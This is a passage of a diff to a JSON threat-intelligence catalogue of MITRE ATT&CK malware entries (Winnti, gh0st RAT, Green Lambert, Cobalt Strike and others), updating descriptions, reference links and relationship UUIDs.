"estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -409,20 +450,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "fcb11f06-ce0e-490b-bcc1-04a1623579f0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "29944858-da52-4d3d-b428-f8a6eb8dde6f", "value": "XLoader for iOS - S0490" }, { - "description": "[Winnti for Windows](https://attack.mitre.org/software/S0141) is a modular remote access Trojan (RAT) that has been used likely by multiple groups to carry out intrusions in various regions since at least 2010, including by one group referred to as the same name, [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: Kaspersky Winnti April 2013)(Citation: Microsoft Winnti Jan 2017)(Citation: Novetta Winnti April 2015)(Citation: 401 TRG Winnti Umbrella May 2018). The Linux variant is tracked separately under [Winnti for Linux](https://attack.mitre.org/software/S0430).(Citation: Chronicle Winnti for Linux May 2019)", + "description": "[Winnti for Windows](https://attack.mitre.org/software/S0141) is a Trojan that has been used by multiple groups to carry out intrusions in varied regions from at least 2010 to 2016. One of the groups using this malware is referred to by the same name, [Winnti Group](https://attack.mitre.org/groups/G0044); however, reporting indicates a second distinct group, [Axiom](https://attack.mitre.org/groups/G0001), also uses the malware. (Citation: Kaspersky Winnti April 2013) (Citation: Microsoft Winnti Jan 2017) (Citation: Novetta Winnti April 2015) The Linux variant is tracked separately under [Winnti for Linux](https://attack.mitre.org/software/S0430).(Citation: Chronicle Winnti for Linux May 2019)", "meta": { "external_id": "S0141", "mitre_platforms": [ @@ -430,7 +464,6 @@ ], "refs": [ "http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf", - "https://401trg.github.io/pages/burning-umbrella.html", "https://attack.mitre.org/software/S0141", "https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/", "https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a", @@ -448,13 +481,6 @@ ], "type": "uses" }, - { - "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ @@ -462,13 +488,6 @@ ], "type": "uses" }, - { - "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ @@ -476,48 +495,6 @@ ], "type": "uses" }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "69b8fd78-40e8-4600-ae4d-662c9d7afdb3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "7f8166e2-c7f4-4b48-a07b-681b61a8f2c1", "tags": [ @@ -525,82 +502,12 @@ ], "type": "similar" }, - { - "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "9b3a4cff-1c5a-4fd6-b49c-27240b6d622c", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" - }, - { - "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f244b8dd-af6c-4391-a497-fc03627ce995", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f6dacc85-b37d-458e-b58d-74fc4bbf5755", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "d3afa961-a80c-4043-9509-282cdf69ab21", @@ -631,13 +538,6 @@ ], "type": "uses" }, - { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", "tags": [ @@ -646,14 +546,7 @@ "type": "uses" }, { - "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4f14e30b-8b57-4a7b-9093-2c0778ea99cf", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -666,6 +559,13 @@ ], "type": "similar" }, + { + "dest-uuid": "62adb627-f647-498e-b4cc-41499361bacb", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", "tags": [ @@ -680,6 +580,13 @@ ], "type": "uses" }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "9d7c772b-43f1-49cf-bc70-7a7cd2ed34c8", "tags": [ @@ -688,7 +595,21 @@ "type": "similar" }, { - "dest-uuid": "a9fa0d30-a8ff-45bf-922e-7720da0b7922", + "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -709,14 +630,7 @@ "type": "uses" }, { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -743,6 +657,13 @@ ] }, "related": [ + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", "tags": [ @@ -751,21 +672,21 @@ "type": "uses" }, { - "dest-uuid": "986f80f7-ff0e-4f48-87bd-0394814bbce5", + "dest-uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9c049d7b-c92a-4733-9381-27e2bd2ccadc", + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "c6a146ae-9c63-4606-97ff-e261e76e8380", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -791,6 +712,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "2740eaf6-2db2-4a40-a63f-f5b166c7059c", @@ -814,7 +742,7 @@ }, "related": [ { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "dest-uuid": "2d646840-f6f5-4619-a5a8-29c8316bbac5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -828,7 +756,7 @@ "type": "uses" }, { - "dest-uuid": "4f14e30b-8b57-4a7b-9093-2c0778ea99cf", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -855,6 +783,13 @@ ], "type": "uses" }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -870,21 +805,21 @@ "type": "similar" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "dd818ea5-adf5-41c7-93b5-f3b839a219fb", + "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "dest-uuid": "d4536441-1bcc-49fa-80ae-a596ed3f7ffd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -898,7 +833,7 @@ "type": "uses" }, { - "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1113,7 +1048,7 @@ "value": "P.A.S. Webshell - S0598" }, { - "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) is a remote access tool (RAT). The source code is public and it has been used by multiple groups.(Citation: FireEye Hacking Team)(Citation: Arbor Musical Chairs Feb 2018)(Citation: Nccgroup Gh0st April 2018)", + "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) is a remote access tool (RAT). The source code is public and it has been used by multiple groups. (Citation: FireEye Hacking Team)(Citation: Arbor Musical Chairs Feb 2018)(Citation: Nccgroup Gh0st April 2018)", "meta": { "external_id": "S0032", "mitre_platforms": [ @@ -1121,16 +1056,13 @@ "macOS" ], "refs": [ - "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf", "https://attack.mitre.org/software/S0032", "https://research.nccgroup.com/2018/04/17/decoding-network-data-from-a-gh0st-rat-variant/", "https://www.arbornetworks.com/blog/asert/musical-chairs-playing-tetris/", "https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html" ], "synonyms": [ - "gh0st RAT", - "Mydoor", - "Moudoor" + "gh0st RAT" ] }, "related": [ @@ -1771,7 +1703,7 @@ }, "related": [ { - "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1792,14 +1724,7 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1811,6 +1736,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "20dbaf05-59b8-4dc6-8777-0b17f4553a23", @@ -1909,14 +1841,28 @@ "type": "uses" }, { - "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", + "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1930,14 +1876,14 @@ "type": "uses" }, { - "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", + "dest-uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "fa801609-ca8e-415e-815e-65f3826ff4df", + "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2039,6 +1985,13 @@ ], "type": "uses" }, + { + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", "tags": [ @@ -2061,14 +2014,14 @@ "type": "uses" }, { - "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", + "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", + "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2082,7 +2035,14 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2103,7 +2063,7 @@ "type": "uses" }, { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2131,21 +2091,14 @@ "type": "uses" }, { - "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "fcb11f06-ce0e-490b-bcc1-04a1623579f0", + "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2164,7 +2117,7 @@ ], "refs": [ "https://attack.mitre.org/software/S0056", - "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" ], "synonyms": [ "Net Crawler", @@ -2339,156 +2292,6 @@ "uuid": "2eaa5319-5e1e-4dd7-bbc4-566fced3964a", "value": "Bad Rabbit - S0606" }, - { - "description": "[Green Lambert](https://attack.mitre.org/software/S0690) is a modular backdoor that security researchers assess has been used by an advanced threat group referred to as Longhorn and The Lamberts. First reported in 2017, the Windows variant of [Green Lambert](https://attack.mitre.org/software/S0690) may have been used as early as 2008; a macOS version was uploaded to a multiscanner service in September 2014.(Citation: Kaspersky Lamberts Toolkit April 2017)(Citation: Objective See Green Lambert for OSX Oct 2021) ", - "meta": { - "external_id": "S0690", - "mitre_platforms": [ - "Windows", - "iOS", - "macOS", - "Linux" - ], - "refs": [ - "https://attack.mitre.org/software/S0690", - "https://objective-see.com/blog/blog_0x68.html", - "https://securelist.com/unraveling-the-lamberts-toolkit/77990/" - ], - "synonyms": [ - "Green Lambert" - ] - }, - "related": [ - { - "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "1eaebf46-e361-4437-bc23-d5d65a3b92e3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "573ad264-1371-4ae0-8482-d2673b719dba", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "84601337-6a55-4ad7-9c35-79e0d1ea2ab3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b63a34e8-0a61-4c97-a23b-bf8a2ed812e2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d10cbd34-42e3-45c0-84d2-535a09849584", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "dca670cf-eeec-438f-8185-fd959d9ef211", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "59c8a28c-200c-4565-9af1-cbdb24870ba0", - "value": "Green Lambert - S0690" - }, { "description": "[AutoIt backdoor](https://attack.mitre.org/software/S0129) is malware that has been used by the actors responsible for the MONSOON campaign. The actors frequently used it in weaponized .pps files exploiting CVE-2014-6352. (Citation: Forcepoint Monsoon) This malware makes use of the legitimate scripting language for Windows GUI automation with the same name.", "meta": { @@ -2831,7 +2634,7 @@ ], "refs": [ "https://attack.mitre.org/software/S0154", - "https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf" + "https://cobaltstrike.com/downloads/csmanual38.pdf" ], "synonyms": [ "Cobalt Strike" @@ -3348,13 +3151,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "ffe59ad3-ad9b-4b9f-b74f-5beb3c309dc1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "a7881f21-e978-4fe4-af56-92c9416a2616", @@ -3480,7 +3276,7 @@ "value": "Ragnar Locker - S0481" }, { - "description": "[SYNful Knock](https://attack.mitre.org/software/S0519) is a stealthy modification of the operating system of network devices that can be used to maintain persistence within a victim's network and provide new capabilities to the adversary.(Citation: Mandiant - Synful Knock)(Citation: Cisco Synful Knock Evolution)", + "description": "[SYNful Knock](https://attack.mitre.org/software/S0519) is a stealthy modification of the operating system of network devices that can be used to maintain persistence within a victim's network and provide new capabilities to the adversary.(Citation: FireEye - Synful Knock)(Citation: Cisco Synful Knock Evolution)", "meta": { "external_id": "S0519", "mitre_platforms": [ @@ -3489,7 +3285,7 @@ "refs": [ "https://attack.mitre.org/software/S0519", "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices", - "https://www.mandiant.com/resources/synful-knock-acis" + "https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html" ], "synonyms": [ "SYNful Knock" @@ -3525,10 +3321,17 @@ "description": "[Power Loader](https://attack.mitre.org/software/S0177) is modular code sold in the cybercrime market used as a downloader in malware families such as Carberp, Redyms and Gapz. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)", "meta": { "external_id": "S0177", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://attack.mitre.org/software/S0177", "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html", "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/" + ], + "synonyms": [ + "Power Loader", + "Win32/Agent.UAW" ] }, "related": [ @@ -3831,6 +3634,13 @@ ] }, "related": [ + { + "dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", "tags": [ @@ -3839,7 +3649,14 @@ "type": "uses" }, { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62adb627-f647-498e-b4cc-41499361bacb", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3853,7 +3670,7 @@ "type": "uses" }, { - "dest-uuid": "9558a84e-2d5e-4872-918e-d847494a8ffc", + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3866,13 +3683,6 @@ ], "type": "uses" }, - { - "dest-uuid": "a9fa0d30-a8ff-45bf-922e-7720da0b7922", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "b327a9c0-e709-495c-aa6e-00b042136e2b", "tags": [ @@ -3881,7 +3691,7 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3901,13 +3711,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -3916,7 +3719,7 @@ "type": "uses" }, { - "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3951,27 +3754,6 @@ ] }, "related": [ - { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "37047267-3e56-453c-833e-d92b68118120", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "39dd7871-f59b-495f-a9a5-3cb8cc50c9b2", "tags": [ @@ -3979,6 +3761,13 @@ ], "type": "uses" }, + { + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", "tags": [ @@ -3986,6 +3775,20 @@ ], "type": "uses" }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -4000,13 +3803,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d4536441-1bcc-49fa-80ae-a596ed3f7ffd", "tags": [ @@ -4022,7 +3818,7 @@ "type": "uses" }, { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4041,6 +3837,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "366c800f-97a8-48d5-b0a6-79d00198252a", @@ -4571,7 +4374,7 @@ "type": "uses" }, { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4584,6 +4387,13 @@ ], "type": "uses" }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", "tags": [ @@ -4598,13 +4408,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "cf28ca46-1fd3-46b4-b1f6-ec0b72361848", "tags": [ @@ -4627,7 +4430,7 @@ "type": "uses" }, { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", "tags": [ 